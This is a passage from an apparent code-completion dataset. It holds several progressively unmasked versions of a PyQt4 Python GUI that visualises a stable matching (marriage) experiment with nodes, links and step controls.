= QtGui.QGraphicsTextItem(str(rank), node)\n rank_text.setPos(x + rank_bias * w, y)\n rank_text.setTextWidth(2 * w)\n font = QtGui.QFont('Times', 8)\n font.setWeight(99)\n rank_text.setFont(font)\n spouse_text = Text(name + '_S', '-1')\n spouse_text.setPos(x + spouse_bias * w, y)\n spouse_text.setTextWidth(1.5 * w)\n font = QtGui.QFont('Times', 8)\n font.setWeight(99)\n spouse_text.setFont(font)\n scene.addItem(node)\n scene.addItem(spouse_text)\n\n def __addLink(self, scene, name, node1, node2, color=(0, 0, 0),\n link_type=''):\n center1 = node1.boundingRect().center()\n center2 = node2.boundingRect().center()\n name1 = node1.getName().split('_')[1]\n name2 = node2.getName().split('_')[1]\n link = Link(name1 + '-' + name2, link_type)\n link.setLine(center1.x(), center1.y(), center2.x(), center2.y())\n link.changeColor(color)\n scene.addItem(link)\n\n def __deleteLink(self, scene, name):\n link = self.__findItem(name, Link, scene.items())\n scene.removeItem(link)\n\n def __changeText(self, scene, name, text):\n txt = self.__findItem(name, Text, scene.items())\n txt.setPlainText(text)\n\n def __findItem(self, name, _type, items):\n for item in items:\n if isinstance(item, _type) and name == item.getName():\n return item\n return False\n\n def __clearLinks(self, scene):\n for item in scene.items():\n if isinstance(item, Link) and item.getType() != 'marry':\n scene.removeItem(item)\n\n def __clearUpLinks(self, scene):\n for item in scene.items():\n if isinstance(item, Link):\n scene.removeItem(item)\n\n def __refreshViewStep(self, info):\n record = info.split('\\n')\n length = len(record)\n lineiter = 0\n epoch = record[lineiter].strip().split(':')[1]\n lineiter += 1\n step = record[lineiter].strip().split(':')[1]\n lineiter += 1\n statu = record[lineiter].strip()\n if 'DONE' in statu:\n return 0\n elif 'is not activity' in statu:\n return 1\n elif 'is married' in statu:\n return 2\n couple = statu.replace(' ', '').split('target')\n man = self.__findItem('M_' + couple[0], Node, self.statu_scene.items())\n woman = self.__findItem('W_' + couple[1], Node, self.statu_scene.\n items())\n lineiter += 1\n sui_rank = record[lineiter].replace(' ', '').split(':')[1]\n lineiter += 1\n if 'Husband Rank' in record[lineiter]:\n husband_rank = record[lineiter].replace(' ', '').split(':')[1]\n lineiter += 1\n if 'Succeed' in record[lineiter]:\n self.__addLink(self.statu_scene, couple[0] + '-' + couple[1],\n man, woman, link_type='marry')\n self.__addLink(self.history_scene, couple[0] + '-' + couple[1],\n man, woman, link_type='marry')\n self.__changeText(self.statu_scene, 'M_' + couple[0] + '_S',\n str(self.matching.get_spouse_rank(int(couple[0]) + 1)))\n self.__changeText(self.statu_scene, 'W_' + couple[1] + '_S',\n str(self.matching.get_spouse_rank(-(int(couple[1]) + 1))))\n self.__changeText(self.history_scene, 'M_' + couple[0] + '_S',\n str(self.matching.get_spouse_rank(int(couple[0]) + 1)))\n self.__changeText(self.history_scene, 'W_' + couple[1] + '_S',\n str(self.matching.get_spouse_rank(-(int(couple[1]) + 1))))\n lineiter += 1\n if lineiter <= length:\n if 'threw away' in record[lineiter]:\n throwCouple = record[lineiter].replace(' ', '').split(\n 'threwaway')\n node1 = self.__findItem('M_' + throwCouple[1], Node,\n self.history_scene.items())\n node2 = self.__findItem('W_' + throwCouple[0], Node,\n self.history_scene.items())\n self.__addLink(self.history_scene, throwCouple[1] + '-' +\n throwCouple[0], node1, node2, (0, 255, 0), 'break')\n self.__deleteLink(self.statu_scene, throwCouple[1] +\n '-' + throwCouple[0])\n self.__changeText(self.statu_scene, 'M_' + throwCouple[\n 1] + '_S', '-1')\n self.__changeText(self.history_scene, 'M_' +\n throwCouple[1] + '_S', '-1')\n self.statu_view.update()\n self.history_view.update()\n elif 'Failed' in record[lineiter]:\n self.__addLink(self.history_scene, couple[0] + '-' + couple[1],\n man, woman, (0, 0, 255), 'failed')\n self.statu_view.update()\n self.history_view.update()\n\n def nextStep(self):\n info = self.matching.step()\n self.showText.setText(info)\n self.__clearLinks(self.statu_scene)\n self.__clearUpLinks(self.history_scene)\n self.__refreshViewStep(info)\n\n def nextEpoch(self):\n info = self.matching.epoch()\n self.__clearLinks(self.statu_scene)\n self.__clearUpLinks(self.history_scene)\n sep = info.split('\\n')[0]\n records = info.split(sep + '\\n')\n del records[0]\n for record in records:\n self.__refreshViewStep(sep + '\\n' + record)\n self.showText.setText(info)\n\n def exeToEnd(self):\n info = self.matching.exe_to_end()\n self.__clearLinks(self.statu_scene)\n self.__clearUpLinks(self.history_scene)\n records = info.split('EPOCH')\n del records[0]\n for record in records:\n self.__refreshViewStep('EPOCH' + record)\n self.showText.setText(info)\n\n def closeEvent(self, event):\n reply = QtGui.QMessageBox.question(self, 'Message',\n 'Are you sure to quit?', QtGui.QMessageBox.Yes, QtGui.\n QMessageBox.No)\n if reply == QtGui.QMessageBox.Yes:\n event.accept()\n else:\n event.ignore()\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\nclass Link(QtGui.QGraphicsLineItem):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n\nclass Text(QtGui.QGraphicsTextItem):\n\n def __init__(self, name, text):\n super(Text, self).__init__(text)\n self.__name = name\n\n def getName(self):\n return self.__name\n\n\nclass GUI(QtGui.QWidget):\n\n def __init__(self):\n super(GUI, self).__init__()\n self.exp = experiment.Experiments(20, 3)\n self.matching = self.exp.unidirectional_match()\n self.man_rank, self.woman_rank = self.matching.get_avg_rank()\n self.man_spouse, self.woman_spouse = self.matching.get_spouse_rank()\n self.initUI()\n self.showMaximized()\n\n def initUI(self):\n self.setWindowTitle(' Stable Matching ')\n grid = QtGui.QGridLayout()\n step_button = QtGui.QPushButton('STEP', self)\n epoch_button = QtGui.QPushButton('EPOCH', self)\n end_button = QtGui.QPushButton('END', self)\n self.showText = QtGui.QTextEdit(self)\n self.showText.setText('START! ')\n self.statu_scene = QtGui.QGraphicsScene(self)\n self.initScene(self.statu_scene)\n self.statu_view = QtGui.QGraphicsView()\n self.statu_view.setScene(self.statu_scene)\n self.statu_view.setMinimumSize(600, 600)\n self.statu_view.show()\n self.history_scene = QtGui.QGraphicsScene(self)\n self.initScene(self.history_scene)\n self.history_view = QtGui.QGraphicsView()\n self.history_view.setScene(self.history_scene)\n self.history_view.setMinimumSize(600, 600)\n self.history_view.show()\n grid.addWidget(step_button, 1, 1)\n grid.addWidget(epoch_button, 2, 1)\n grid.addWidget(end_button, 3, 1)\n grid.addWidget(self.showText, 1, 2, 4, 1)\n grid.addWidget(self.statu_view, 1, 3, 4, 1)\n grid.addWidget(self.history_view, 1, 4, 4, 1)\n self.setLayout(grid)\n self.connect(step_button, QtCore.SIGNAL('clicked()'), self.nextStep)\n self.connect(epoch_button, QtCore.SIGNAL('clicked()'), self.nextEpoch)\n self.connect(end_button, QtCore.SIGNAL('clicked()'), self.exeToEnd)\n\n def initScene(self, scene):\n man_num = self.exp.get_man_num()\n woman_num = self.exp.get_woman_num()\n length = max(man_num, woman_num) * 30\n scene.setSceneRect(0, 0, 600, length)\n for i in range(man_num):\n node = self.__addNode(scene, 'M_' + str(i), 120, i * 30, 20, 20,\n (0, 0, 255))\n for i in range(woman_num):\n node = self.__addNode(scene, 'W_' + str(i), 480, i * 30, 20, 20,\n (255, 0, 0))\n\n def __addNode(self, scene, name, x, y, w, h, color=(0, 0, 0)):\n sex = name.split('_')[0]\n number = name.split('_')[1]\n rank_bias = spouse_bias = rank = 0\n if sex == 'M':\n rank = self.man_rank[int(number)]\n rank_bias = -2.0\n spouse_bias = -4.0\n elif sex == 'W':\n rank = self.woman_rank[int(number)]\n rank_bias = 2.0\n spouse_bias = 4.0\n node = Node(name)\n node.setRect(x, y, w, h)\n node.changeBrush(color, 1)\n if int(number) < 10:\n number = '0' + number\n text = QtGui.QGraphicsTextItem(number, node)\n text.setPos(x, y)\n text.setTextWidth(1.5 * w)\n font = QtGui.QFont('Times', 8)\n font.setWeight(99)\n text.setFont(font)\n rank_text = QtGui.QGraphicsTextItem(str(rank), node)\n rank_text.setPos(x + rank_bias * w, y)\n rank_text.setTextWidth(2 * w)\n font = QtGui.QFont('Times', 8)\n font.setWeight(99)\n rank_text.setFont(font)\n spouse_text = Text(name + '_S', '-1')\n spouse_text.setPos(x + spouse_bias * w, y)\n spouse_text.setTextWidth(1.5 * w)\n font = QtGui.QFont('Times', 8)\n font.setWeight(99)\n spouse_text.setFont(font)\n scene.addItem(node)\n scene.addItem(spouse_text)\n\n def __addLink(self, scene, name, node1, node2, color=(0, 0, 0),\n link_type=''):\n center1 = node1.boundingRect().center()\n center2 = node2.boundingRect().center()\n name1 = node1.getName().split('_')[1]\n name2 = node2.getName().split('_')[1]\n link = Link(name1 + '-' + name2, link_type)\n link.setLine(center1.x(), center1.y(), center2.x(), center2.y())\n link.changeColor(color)\n scene.addItem(link)\n\n def __deleteLink(self, scene, name):\n link = self.__findItem(name, Link, scene.items())\n scene.removeItem(link)\n\n def __changeText(self, scene, name, text):\n txt = self.__findItem(name, Text, scene.items())\n txt.setPlainText(text)\n\n def __findItem(self, name, _type, items):\n for item in items:\n if isinstance(item, _type) and name == item.getName():\n return item\n return False\n\n def __clearLinks(self, scene):\n for item in scene.items():\n if isinstance(item, Link) and item.getType() != 'marry':\n scene.removeItem(item)\n\n def __clearUpLinks(self, scene):\n for item in scene.items():\n if isinstance(item, Link):\n scene.removeItem(item)\n\n def __refreshViewStep(self, info):\n record = info.split('\\n')\n length = len(record)\n lineiter = 0\n epoch = record[lineiter].strip().split(':')[1]\n lineiter += 1\n step = record[lineiter].strip().split(':')[1]\n lineiter += 1\n statu = record[lineiter].strip()\n if 'DONE' in statu:\n return 0\n elif 'is not activity' in statu:\n return 1\n elif 'is married' in statu:\n return 2\n couple = statu.replace(' ', '').split('target')\n man = self.__findItem('M_' + couple[0], Node, self.statu_scene.items())\n woman = self.__findItem('W_' + couple[1], Node, self.statu_scene.\n items())\n lineiter += 1\n sui_rank = record[lineiter].replace(' ', '').split(':')[1]\n lineiter += 1\n if 'Husband Rank' in record[lineiter]:\n husband_rank = record[lineiter].replace(' ', '').split(':')[1]\n lineiter += 1\n if 'Succeed' in record[lineiter]:\n self.__addLink(self.statu_scene, couple[0] + '-' + couple[1],\n man, woman, link_type='marry')\n self.__addLink(self.history_scene, couple[0] + '-' + couple[1],\n man, woman, link_type='marry')\n self.__changeText(self.statu_scene, 'M_' + couple[0] + '_S',\n str(self.matching.get_spouse_rank(int(couple[0]) + 1)))\n self.__changeText(self.statu_scene, 'W_' + couple[1] + '_S',\n str(self.matching.get_spouse_rank(-(int(couple[1]) + 1))))\n self.__changeText(self.history_scene, 'M_' + couple[0] + '_S',\n str(self.matching.get_spouse_rank(int(couple[0]) + 1)))\n self.__changeText(self.history_scene, 'W_' + couple[1] + '_S',\n str(self.matching.get_spouse_rank(-(int(couple[1]) + 1))))\n lineiter += 1\n if lineiter <= length:\n if 'threw away' in record[lineiter]:\n throwCouple = record[lineiter].replace(' ', '').split(\n 'threwaway')\n node1 = self.__findItem('M_' + throwCouple[1], Node,\n self.history_scene.items())\n node2 = self.__findItem('W_' + throwCouple[0], Node,\n self.history_scene.items())\n self.__addLink(self.history_scene, throwCouple[1] + '-' +\n throwCouple[0], node1, node2, (0, 255, 0), 'break')\n self.__deleteLink(self.statu_scene, throwCouple[1] +\n '-' + throwCouple[0])\n self.__changeText(self.statu_scene, 'M_' + throwCouple[\n 1] + '_S', '-1')\n self.__changeText(self.history_scene, 'M_' +\n throwCouple[1] + '_S', '-1')\n self.statu_view.update()\n self.history_view.update()\n elif 'Failed' in record[lineiter]:\n self.__addLink(self.history_scene, couple[0] + '-' + couple[1],\n man, woman, (0, 0, 255), 'failed')\n self.statu_view.update()\n self.history_view.update()\n\n def nextStep(self):\n info = self.matching.step()\n self.showText.setText(info)\n self.__clearLinks(self.statu_scene)\n self.__clearUpLinks(self.history_scene)\n self.__refreshViewStep(info)\n\n def nextEpoch(self):\n info = self.matching.epoch()\n self.__clearLinks(self.statu_scene)\n self.__clearUpLinks(self.history_scene)\n sep = info.split('\\n')[0]\n records = info.split(sep + '\\n')\n del records[0]\n for record in records:\n self.__refreshViewStep(sep + '\\n' + record)\n self.showText.setText(info)\n\n def exeToEnd(self):\n info = self.matching.exe_to_end()\n self.__clearLinks(self.statu_scene)\n self.__clearUpLinks(self.history_scene)\n records = info.split('EPOCH')\n del records[0]\n for record in records:\n self.__refreshViewStep('EPOCH' + record)\n self.showText.setText(info)\n\n def closeEvent(self, event):\n reply = QtGui.QMessageBox.question(self, 'Message',\n 'Are you sure to quit?', QtGui.QMessageBox.Yes, QtGui.\n QMessageBox.No)\n if reply == QtGui.QMessageBox.Yes:\n event.accept()\n else:\n event.ignore()\n\n\n<mask token>\n",
"step-3": "<mask token>\n\n\nclass Link(QtGui.QGraphicsLineItem):\n\n def __init__(self, name, link_type):\n super(Link, self).__init__()\n self.__link_type = link_type\n self.__name = name\n <mask token>\n\n def getType(self):\n return self.__link_type\n\n def changeType(self, link_type):\n self.__link_type = link_type\n <mask token>\n\n\nclass Text(QtGui.QGraphicsTextItem):\n\n def __init__(self, name, text):\n super(Text, self).__init__(text)\n self.__name = name\n\n def getName(self):\n return self.__name\n\n\nclass GUI(QtGui.QWidget):\n\n def __init__(self):\n super(GUI, self).__init__()\n self.exp = experiment.Experiments(20, 3)\n self.matching = self.exp.unidirectional_match()\n self.man_rank, self.woman_rank = self.matching.get_avg_rank()\n self.man_spouse, self.woman_spouse = self.matching.get_spouse_rank()\n self.initUI()\n self.showMaximized()\n\n def initUI(self):\n self.setWindowTitle(' Stable Matching ')\n grid = QtGui.QGridLayout()\n step_button = QtGui.QPushButton('STEP', self)\n epoch_button = QtGui.QPushButton('EPOCH', self)\n end_button = QtGui.QPushButton('END', self)\n self.showText = QtGui.QTextEdit(self)\n self.showText.setText('START! ')\n self.statu_scene = QtGui.QGraphicsScene(self)\n self.initScene(self.statu_scene)\n self.statu_view = QtGui.QGraphicsView()\n self.statu_view.setScene(self.statu_scene)\n self.statu_view.setMinimumSize(600, 600)\n self.statu_view.show()\n self.history_scene = QtGui.QGraphicsScene(self)\n self.initScene(self.history_scene)\n self.history_view = QtGui.QGraphicsView()\n self.history_view.setScene(self.history_scene)\n self.history_view.setMinimumSize(600, 600)\n self.history_view.show()\n grid.addWidget(step_button, 1, 1)\n grid.addWidget(epoch_button, 2, 1)\n grid.addWidget(end_button, 3, 1)\n grid.addWidget(self.showText, 1, 2, 4, 1)\n grid.addWidget(self.statu_view, 1, 3, 4, 1)\n grid.addWidget(self.history_view, 1, 4, 4, 1)\n self.setLayout(grid)\n self.connect(step_button, QtCore.SIGNAL('clicked()'), self.nextStep)\n self.connect(epoch_button, QtCore.SIGNAL('clicked()'), self.nextEpoch)\n self.connect(end_button, QtCore.SIGNAL('clicked()'), self.exeToEnd)\n\n def initScene(self, scene):\n man_num = self.exp.get_man_num()\n woman_num = self.exp.get_woman_num()\n length = max(man_num, woman_num) * 30\n scene.setSceneRect(0, 0, 600, length)\n for i in range(man_num):\n node = self.__addNode(scene, 'M_' + str(i), 120, i * 30, 20, 20,\n (0, 0, 255))\n for i in range(woman_num):\n node = self.__addNode(scene, 'W_' + str(i), 480, i * 30, 20, 20,\n (255, 0, 0))\n\n def __addNode(self, scene, name, x, y, w, h, color=(0, 0, 0)):\n sex = name.split('_')[0]\n number = name.split('_')[1]\n rank_bias = spouse_bias = rank = 0\n if sex == 'M':\n rank = self.man_rank[int(number)]\n rank_bias = -2.0\n spouse_bias = -4.0\n elif sex == 'W':\n rank = self.woman_rank[int(number)]\n rank_bias = 2.0\n spouse_bias = 4.0\n node = Node(name)\n node.setRect(x, y, w, h)\n node.changeBrush(color, 1)\n if int(number) < 10:\n number = '0' + number\n text = QtGui.QGraphicsTextItem(number, node)\n text.setPos(x, y)\n text.setTextWidth(1.5 * w)\n font = QtGui.QFont('Times', 8)\n font.setWeight(99)\n text.setFont(font)\n rank_text = QtGui.QGraphicsTextItem(str(rank), node)\n rank_text.setPos(x + rank_bias * w, y)\n rank_text.setTextWidth(2 * w)\n font = QtGui.QFont('Times', 8)\n font.setWeight(99)\n rank_text.setFont(font)\n spouse_text = Text(name + '_S', '-1')\n spouse_text.setPos(x + spouse_bias * w, y)\n spouse_text.setTextWidth(1.5 * w)\n font = QtGui.QFont('Times', 8)\n font.setWeight(99)\n spouse_text.setFont(font)\n scene.addItem(node)\n scene.addItem(spouse_text)\n\n def __addLink(self, scene, name, node1, node2, color=(0, 0, 0),\n link_type=''):\n center1 = node1.boundingRect().center()\n center2 = node2.boundingRect().center()\n name1 = node1.getName().split('_')[1]\n name2 = node2.getName().split('_')[1]\n link = Link(name1 + '-' + name2, link_type)\n link.setLine(center1.x(), center1.y(), center2.x(), center2.y())\n link.changeColor(color)\n scene.addItem(link)\n\n def __deleteLink(self, scene, name):\n link = self.__findItem(name, Link, scene.items())\n scene.removeItem(link)\n\n def __changeText(self, scene, name, text):\n txt = self.__findItem(name, Text, scene.items())\n txt.setPlainText(text)\n\n def __findItem(self, name, _type, items):\n for item in items:\n if isinstance(item, _type) and name == item.getName():\n return item\n return False\n\n def __clearLinks(self, scene):\n for item in scene.items():\n if isinstance(item, Link) and item.getType() != 'marry':\n scene.removeItem(item)\n\n def __clearUpLinks(self, scene):\n for item in scene.items():\n if isinstance(item, Link):\n scene.removeItem(item)\n\n def __refreshViewStep(self, info):\n record = info.split('\\n')\n length = len(record)\n lineiter = 0\n epoch = record[lineiter].strip().split(':')[1]\n lineiter += 1\n step = record[lineiter].strip().split(':')[1]\n lineiter += 1\n statu = record[lineiter].strip()\n if 'DONE' in statu:\n return 0\n elif 'is not activity' in statu:\n return 1\n elif 'is married' in statu:\n return 2\n couple = statu.replace(' ', '').split('target')\n man = self.__findItem('M_' + couple[0], Node, self.statu_scene.items())\n woman = self.__findItem('W_' + couple[1], Node, self.statu_scene.\n items())\n lineiter += 1\n sui_rank = record[lineiter].replace(' ', '').split(':')[1]\n lineiter += 1\n if 'Husband Rank' in record[lineiter]:\n husband_rank = record[lineiter].replace(' ', '').split(':')[1]\n lineiter += 1\n if 'Succeed' in record[lineiter]:\n self.__addLink(self.statu_scene, couple[0] + '-' + couple[1],\n man, woman, link_type='marry')\n self.__addLink(self.history_scene, couple[0] + '-' + couple[1],\n man, woman, link_type='marry')\n self.__changeText(self.statu_scene, 'M_' + couple[0] + '_S',\n str(self.matching.get_spouse_rank(int(couple[0]) + 1)))\n self.__changeText(self.statu_scene, 'W_' + couple[1] + '_S',\n str(self.matching.get_spouse_rank(-(int(couple[1]) + 1))))\n self.__changeText(self.history_scene, 'M_' + couple[0] + '_S',\n str(self.matching.get_spouse_rank(int(couple[0]) + 1)))\n self.__changeText(self.history_scene, 'W_' + couple[1] + '_S',\n str(self.matching.get_spouse_rank(-(int(couple[1]) + 1))))\n lineiter += 1\n if lineiter <= length:\n if 'threw away' in record[lineiter]:\n throwCouple = record[lineiter].replace(' ', '').split(\n 'threwaway')\n node1 = self.__findItem('M_' + throwCouple[1], Node,\n self.history_scene.items())\n node2 = self.__findItem('W_' + throwCouple[0], Node,\n self.history_scene.items())\n self.__addLink(self.history_scene, throwCouple[1] + '-' +\n throwCouple[0], node1, node2, (0, 255, 0), 'break')\n self.__deleteLink(self.statu_scene, throwCouple[1] +\n '-' + throwCouple[0])\n self.__changeText(self.statu_scene, 'M_' + throwCouple[\n 1] + '_S', '-1')\n self.__changeText(self.history_scene, 'M_' +\n throwCouple[1] + '_S', '-1')\n self.statu_view.update()\n self.history_view.update()\n elif 'Failed' in record[lineiter]:\n self.__addLink(self.history_scene, couple[0] + '-' + couple[1],\n man, woman, (0, 0, 255), 'failed')\n self.statu_view.update()\n self.history_view.update()\n\n def nextStep(self):\n info = self.matching.step()\n self.showText.setText(info)\n self.__clearLinks(self.statu_scene)\n self.__clearUpLinks(self.history_scene)\n self.__refreshViewStep(info)\n\n def nextEpoch(self):\n info = self.matching.epoch()\n self.__clearLinks(self.statu_scene)\n self.__clearUpLinks(self.history_scene)\n sep = info.split('\\n')[0]\n records = info.split(sep + '\\n')\n del records[0]\n for record in records:\n self.__refreshViewStep(sep + '\\n' + record)\n self.showText.setText(info)\n\n def exeToEnd(self):\n info = self.matching.exe_to_end()\n self.__clearLinks(self.statu_scene)\n self.__clearUpLinks(self.history_scene)\n records = info.split('EPOCH')\n del records[0]\n for record in records:\n self.__refreshViewStep('EPOCH' + record)\n self.showText.setText(info)\n\n def closeEvent(self, event):\n reply = QtGui.QMessageBox.question(self, 'Message',\n 'Are you sure to quit?', QtGui.QMessageBox.Yes, QtGui.\n QMessageBox.No)\n if reply == QtGui.QMessageBox.Yes:\n event.accept()\n else:\n event.ignore()\n\n\n<mask token>\n",
"step-4": "<mask token>\n\n\nclass Link(QtGui.QGraphicsLineItem):\n\n def __init__(self, name, link_type):\n super(Link, self).__init__()\n self.__link_type = link_type\n self.__name = name\n\n def getName(self):\n return self.__name\n\n def getType(self):\n return self.__link_type\n\n def changeType(self, link_type):\n self.__link_type = link_type\n\n def changeColor(self, color):\n p = QtGui.QPen()\n c = p.color()\n c.setRgb(color[0], color[1], color[2])\n p.setColor(c)\n self.setPen(p)\n\n\nclass Text(QtGui.QGraphicsTextItem):\n\n def __init__(self, name, text):\n super(Text, self).__init__(text)\n self.__name = name\n\n def getName(self):\n return self.__name\n\n\nclass GUI(QtGui.QWidget):\n\n def __init__(self):\n super(GUI, self).__init__()\n self.exp = experiment.Experiments(20, 3)\n self.matching = self.exp.unidirectional_match()\n self.man_rank, self.woman_rank = self.matching.get_avg_rank()\n self.man_spouse, self.woman_spouse = self.matching.get_spouse_rank()\n self.initUI()\n self.showMaximized()\n\n def initUI(self):\n self.setWindowTitle(' Stable Matching ')\n grid = QtGui.QGridLayout()\n step_button = QtGui.QPushButton('STEP', self)\n epoch_button = QtGui.QPushButton('EPOCH', self)\n end_button = QtGui.QPushButton('END', self)\n self.showText = QtGui.QTextEdit(self)\n self.showText.setText('START! ')\n self.statu_scene = QtGui.QGraphicsScene(self)\n self.initScene(self.statu_scene)\n self.statu_view = QtGui.QGraphicsView()\n self.statu_view.setScene(self.statu_scene)\n self.statu_view.setMinimumSize(600, 600)\n self.statu_view.show()\n self.history_scene = QtGui.QGraphicsScene(self)\n self.initScene(self.history_scene)\n self.history_view = QtGui.QGraphicsView()\n self.history_view.setScene(self.history_scene)\n self.history_view.setMinimumSize(600, 600)\n self.history_view.show()\n grid.addWidget(step_button, 1, 1)\n grid.addWidget(epoch_button, 2, 1)\n grid.addWidget(end_button, 3, 1)\n grid.addWidget(self.showText, 1, 2, 4, 1)\n grid.addWidget(self.statu_view, 1, 3, 4, 1)\n grid.addWidget(self.history_view, 1, 4, 4, 1)\n self.setLayout(grid)\n self.connect(step_button, QtCore.SIGNAL('clicked()'), self.nextStep)\n self.connect(epoch_button, QtCore.SIGNAL('clicked()'), self.nextEpoch)\n self.connect(end_button, QtCore.SIGNAL('clicked()'), self.exeToEnd)\n\n def initScene(self, scene):\n man_num = self.exp.get_man_num()\n woman_num = self.exp.get_woman_num()\n length = max(man_num, woman_num) * 30\n scene.setSceneRect(0, 0, 600, length)\n for i in range(man_num):\n node = self.__addNode(scene, 'M_' + str(i), 120, i * 30, 20, 20,\n (0, 0, 255))\n for i in range(woman_num):\n node = self.__addNode(scene, 'W_' + str(i), 480, i * 30, 20, 20,\n (255, 0, 0))\n\n def __addNode(self, scene, name, x, y, w, h, color=(0, 0, 0)):\n sex = name.split('_')[0]\n number = name.split('_')[1]\n rank_bias = spouse_bias = rank = 0\n if sex == 'M':\n rank = self.man_rank[int(number)]\n rank_bias = -2.0\n spouse_bias = -4.0\n elif sex == 'W':\n rank = self.woman_rank[int(number)]\n rank_bias = 2.0\n spouse_bias = 4.0\n node = Node(name)\n node.setRect(x, y, w, h)\n node.changeBrush(color, 1)\n if int(number) < 10:\n number = '0' + number\n text = QtGui.QGraphicsTextItem(number, node)\n text.setPos(x, y)\n text.setTextWidth(1.5 * w)\n font = QtGui.QFont('Times', 8)\n font.setWeight(99)\n text.setFont(font)\n rank_text = QtGui.QGraphicsTextItem(str(rank), node)\n rank_text.setPos(x + rank_bias * w, y)\n rank_text.setTextWidth(2 * w)\n font = QtGui.QFont('Times', 8)\n font.setWeight(99)\n rank_text.setFont(font)\n spouse_text = Text(name + '_S', '-1')\n spouse_text.setPos(x + spouse_bias * w, y)\n spouse_text.setTextWidth(1.5 * w)\n font = QtGui.QFont('Times', 8)\n font.setWeight(99)\n spouse_text.setFont(font)\n scene.addItem(node)\n scene.addItem(spouse_text)\n\n def __addLink(self, scene, name, node1, node2, color=(0, 0, 0),\n link_type=''):\n center1 = node1.boundingRect().center()\n center2 = node2.boundingRect().center()\n name1 = node1.getName().split('_')[1]\n name2 = node2.getName().split('_')[1]\n link = Link(name1 + '-' + name2, link_type)\n link.setLine(center1.x(), center1.y(), center2.x(), center2.y())\n link.changeColor(color)\n scene.addItem(link)\n\n def __deleteLink(self, scene, name):\n link = self.__findItem(name, Link, scene.items())\n scene.removeItem(link)\n\n def __changeText(self, scene, name, text):\n txt = self.__findItem(name, Text, scene.items())\n txt.setPlainText(text)\n\n def __findItem(self, name, _type, items):\n for item in items:\n if isinstance(item, _type) and name == item.getName():\n return item\n return False\n\n def __clearLinks(self, scene):\n for item in scene.items():\n if isinstance(item, Link) and item.getType() != 'marry':\n scene.removeItem(item)\n\n def __clearUpLinks(self, scene):\n for item in scene.items():\n if isinstance(item, Link):\n scene.removeItem(item)\n\n def __refreshViewStep(self, info):\n record = info.split('\\n')\n length = len(record)\n lineiter = 0\n epoch = record[lineiter].strip().split(':')[1]\n lineiter += 1\n step = record[lineiter].strip().split(':')[1]\n lineiter += 1\n statu = record[lineiter].strip()\n if 'DONE' in statu:\n return 0\n elif 'is not activity' in statu:\n return 1\n elif 'is married' in statu:\n return 2\n couple = statu.replace(' ', '').split('target')\n man = self.__findItem('M_' + couple[0], Node, self.statu_scene.items())\n woman = self.__findItem('W_' + couple[1], Node, self.statu_scene.\n items())\n lineiter += 1\n sui_rank = record[lineiter].replace(' ', '').split(':')[1]\n lineiter += 1\n if 'Husband Rank' in record[lineiter]:\n husband_rank = record[lineiter].replace(' ', '').split(':')[1]\n lineiter += 1\n if 'Succeed' in record[lineiter]:\n self.__addLink(self.statu_scene, couple[0] + '-' + couple[1],\n man, woman, link_type='marry')\n self.__addLink(self.history_scene, couple[0] + '-' + couple[1],\n man, woman, link_type='marry')\n self.__changeText(self.statu_scene, 'M_' + couple[0] + '_S',\n str(self.matching.get_spouse_rank(int(couple[0]) + 1)))\n self.__changeText(self.statu_scene, 'W_' + couple[1] + '_S',\n str(self.matching.get_spouse_rank(-(int(couple[1]) + 1))))\n self.__changeText(self.history_scene, 'M_' + couple[0] + '_S',\n str(self.matching.get_spouse_rank(int(couple[0]) + 1)))\n self.__changeText(self.history_scene, 'W_' + couple[1] + '_S',\n str(self.matching.get_spouse_rank(-(int(couple[1]) + 1))))\n lineiter += 1\n if lineiter <= length:\n if 'threw away' in record[lineiter]:\n throwCouple = record[lineiter].replace(' ', '').split(\n 'threwaway')\n node1 = self.__findItem('M_' + throwCouple[1], Node,\n self.history_scene.items())\n node2 = self.__findItem('W_' + throwCouple[0], Node,\n self.history_scene.items())\n self.__addLink(self.history_scene, throwCouple[1] + '-' +\n throwCouple[0], node1, node2, (0, 255, 0), 'break')\n self.__deleteLink(self.statu_scene, throwCouple[1] +\n '-' + throwCouple[0])\n self.__changeText(self.statu_scene, 'M_' + throwCouple[\n 1] + '_S', '-1')\n self.__changeText(self.history_scene, 'M_' +\n throwCouple[1] + '_S', '-1')\n self.statu_view.update()\n self.history_view.update()\n elif 'Failed' in record[lineiter]:\n self.__addLink(self.history_scene, couple[0] + '-' + couple[1],\n man, woman, (0, 0, 255), 'failed')\n self.statu_view.update()\n self.history_view.update()\n\n def nextStep(self):\n info = self.matching.step()\n self.showText.setText(info)\n self.__clearLinks(self.statu_scene)\n self.__clearUpLinks(self.history_scene)\n self.__refreshViewStep(info)\n\n def nextEpoch(self):\n info = self.matching.epoch()\n self.__clearLinks(self.statu_scene)\n self.__clearUpLinks(self.history_scene)\n sep = info.split('\\n')[0]\n records = info.split(sep + '\\n')\n del records[0]\n for record in records:\n self.__refreshViewStep(sep + '\\n' + record)\n self.showText.setText(info)\n\n def exeToEnd(self):\n info = self.matching.exe_to_end()\n self.__clearLinks(self.statu_scene)\n self.__clearUpLinks(self.history_scene)\n records = info.split('EPOCH')\n del records[0]\n for record in records:\n self.__refreshViewStep('EPOCH' + record)\n self.showText.setText(info)\n\n def closeEvent(self, event):\n reply = QtGui.QMessageBox.question(self, 'Message',\n 'Are you sure to quit?', QtGui.QMessageBox.Yes, QtGui.\n QMessageBox.No)\n if reply == QtGui.QMessageBox.Yes:\n event.accept()\n else:\n event.ignore()\n\n\n<mask token>\n",
"step-5": "# -*- coding:utf-8 -*- \nimport sys\nfrom PyQt4 import QtGui,QtCore\nimport experiment\n\nclass Node(QtGui.QGraphicsEllipseItem):\n def __init__(self,name):\n super(Node, self).__init__()\n self.__name = name\n \n def getName(self):\n return self.__name\n def changeBrush(self, color, style):\n b = QtGui.QBrush()\n b.setStyle(style)\n c = b.color()\n c.setRgb(color[0],color[1],color[2])\n b.setColor(c)\n self.setBrush(b)\n\nclass Link(QtGui.QGraphicsLineItem):\n def __init__(self,name,link_type):\n super(Link, self).__init__()\n self.__link_type = link_type\n self.__name = name\n def getName(self):\n return self.__name\n def getType(self):\n return self.__link_type\n def changeType(self,link_type):\n self.__link_type = link_type\n def changeColor(self,color):\n p = QtGui.QPen()\n c = p.color()\n c.setRgb(color[0],color[1],color[2])\n p.setColor(c)\n self.setPen(p)\n\nclass Text(QtGui.QGraphicsTextItem):\n def __init__(self,name,text):\n super(Text, 